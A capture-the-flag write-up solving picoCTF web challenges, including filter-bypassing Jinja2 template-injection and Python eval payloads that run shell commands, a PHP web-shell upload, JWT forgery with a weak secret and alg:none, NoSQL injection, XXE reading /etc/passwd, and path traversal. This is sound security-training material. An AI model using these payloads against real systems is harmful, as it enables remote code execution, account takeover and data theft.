PicoCTF Web Medium Writeup
SSTI2
I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem :) I heard templating is a cool and modular way to build web apps! Check out my website
http://shape-facility.picoctf.net:63568/
Website is vulnerable to SSTI
Based on the server response header and templating evaluation, most probably a Python templating engine, Jinja2
A typical Jinja SSTI payload is {{ ().class.base.subclasses() }}
The app filters certain characters like _
, we can bypass the filter by replacing _
with \x5f
. To make our payload more subversive, we can also change the way we get attribute of an object from foo.bar
to foo|attr("bar")
.
{{()|attr('\x5f\x5fclass\x5f\x5f')}}
|attr('\x5f\x5f\x5f\x5f')
# list the subclasses avaliable
{{()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()}}
We can manually find the offset for os class or we can access the os class through the built python builtin functions. The example below utilise the request class to access python builtin functions.
{{request.application.__globals__.
__builtins__.__import__('os').popen('id').read()}}
We can access the subclasses of each special methods in function as such __globals__.__builtins__
. Since we are bypassing the filter, we can convert our payload from __globals__.__builtins__
to attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')
The final payload
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
SSTI to get RCE
Locate the flag and read it
3v@l
ABC Bank’s website has a loan calculator to help its clients calculate the amount they pay if they take a loan from the bank. Unfortunately, they are using an eval function to calculate the loan. Bypassing this will give you Remote Code Execution (RCE). Can you exploit the bank’s calculator and read the flag?
Server response suggests that it is a python application
Payload code=7*7
will show 49 in the HTML response. There seems to be some sort of evaluation of expressions. A possibility maybe through templating engine or functions like eval()
.
code=__import__('os').system('id')
Since the user input is being evaluated, we can use chr(111)+chr(115) instead of the string os
. Make sure to URL encode the +
to %2b
. You can get the unicode integer of a character using chr('o')
-> 111
List directory, again we are faced with forbidden keyword ls
.
>>> ord('l')
108
>>> ord('s')
115
>>> ord(' ')
32
>>> ord('-')
45
>>> ord('a')
97
code=__import('os').popen('ls -la').read()
code=__import__(chr(111)%2bchr(115)).popen(chr(108)%2bchr(115)%2bchr(32)%2bchr(45)%2bchr(108)%2bchr(97)).read()
The flag is in /flag.txt
code=__import('os').popen('ls -la /').read()
code=__import__(chr(111)%2bchr(115)).popen(chr(108)%2bchr(115)%2bchr(32)%2bchr(45)%2bchr(108)%2bchr(97)%2bchr(32)%2bchr(47)).read()
Read the flag
code=__import('os').popen('cat /flag.txt').read()
99 97 116 32 47 102 108 97 103 46 116 120 116
code=__import__(chr(111)%2bchr(115)).popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(46)%2bchr(116)%2bchr(120)%2bchr(116)).read()
Another way to build the string via chr is using join method and lambda function
''.join([chr(x) for x in [47, 102, 108, 97, 103, 46, 116, 120, 116]]).read()
Trickster
I found a web app that can help process images: PNG images only!
There is a server side check for PNG magic bytes, .png
in the filename. The form-data Content-Type is not checked
Note that the Response header shows Apache, Debian and PHP.
http://atlas.picoctf.net:51620/robots.txt
http://atlas.picoctf.net:51620/instructions.txt
Upload our simple PHP web shell
http://atlas.picoctf.net:51620/uploads/shell.png.php?cmd=id
Snoop around the system to get the flag
Java Code Analysis
BookShelf Pico, my premium online book-reading service. I believe that my website is super secure. I challenge you to prove me wrong by reading the ‘Flag’ book! Here are the credentials to get you started:
- user:user
The source code is also provided.
After login, user session is via JWT
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlacZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTc1ODI3MTA5MCwiaWF0IjoxNzU3NjY2MjkwLCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.dE5z711e4aTUJjEORDffR9tHMNCkMTX3J4bHN_kURQI
The source code is provided. The JWT secret is obtained at line 26 of src/main/java/io/github/nandandesai/pico/security/JwtService.java
Tracing the code src/main/java/io/github/nandandesai/pico/security/SecretGenerator.java, there is a possibility that the secret used on the production server is 1234.
We can forge the JWT token using the secret 1234. There are many ways of doing it, e.g. jwt.io, burp JWT Web token extension.
Forge the token to get the flag that is only accessible by admin. The src/main/java/io/github/nandandesai/pico/security/BookPdfAccessCheck.java shows that authorization verification checks the user role based on the userId.
The code at src/main/java/io/github/nandandesai/pico/controllers/UserController.java shows us an endpoint to query user information.
Our low privileged user is able to access this endpoint. We can get the admin userId and other details.
Forge the token with the known secret 1234
No SQL Injection
Can you try to get access to this website to get the flag? Source code is provided
Intercept a normal login request with invalid credentials
Attempt to perform simple operation injection but failed.
Inpsecting server.js implementation of POST /login shows JSON.parse() being used. Our nested object {"$ne":"invalid"}
in the payload should be stringify instead.
The flag is base64 encoded in the the token of the response.
findme
Help us test the form by submiting the username as test and password as test!
test:test!
redirected to:
base64 decode
- cGljb0NURntwcm94aWVzX2Fs -> picoCTF{proxies_al
- bF90aGVfd2F5X2QxYzBiMTEyfQ== -> l_the_way_d1c0b112}"
picoCTF{proxies_all_the_way_d1c0b112}
SOAP
The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?
The website has a feature where we can query information via a POST request and xml data
Very straight forward challenge. Simply create a DOCTYPE element that defines an external entity containing the target file /etc/passwd. Then reference the external entity variable in the xml payload for the XML service to process it.
More SQLi
Can you find the flag on this website.
The response reveals the SQL query
MatchTheRegex
How about trying to match a regular expression
Inspect the DOM or HTML source and we see the logic of how the request is checked
Power Cookie
Can you get the flag?
Change the cookie value in the following request from isAdmin=0 to isAdmin=1
Forbidden Paths
Can you get the flag? We know that the website files live in /usr/share/nginx/html/ and the flag is at /flag.txt but the website is filtering absolute file paths. Can you get past the filter to read the flag?
Path traversal in file read feature
JAuth
Most web application developers use third party components without testing their security. Some of the past affected companies are:
- Equifax (a US credit bureau organization) - breach due to unpatched Apache
- Struts web framework CVE-2017-5638
- Mossack Fonesca (Panama Papers law firm) breach - unpatched version o
- Drupal CMS used
- VerticalScope (internet media company) - outdated version of vBulletin forum software used
Can you identify the components and exploit the vulnerable one? Can you become admin?
Credentials: test:Test123!
The JWT token set is vulnerable to header attack. We can modify the header to specify “alg”:“none”. The server handling the token will accept none algorithm and not validate the signature.
Change the role from user to admin.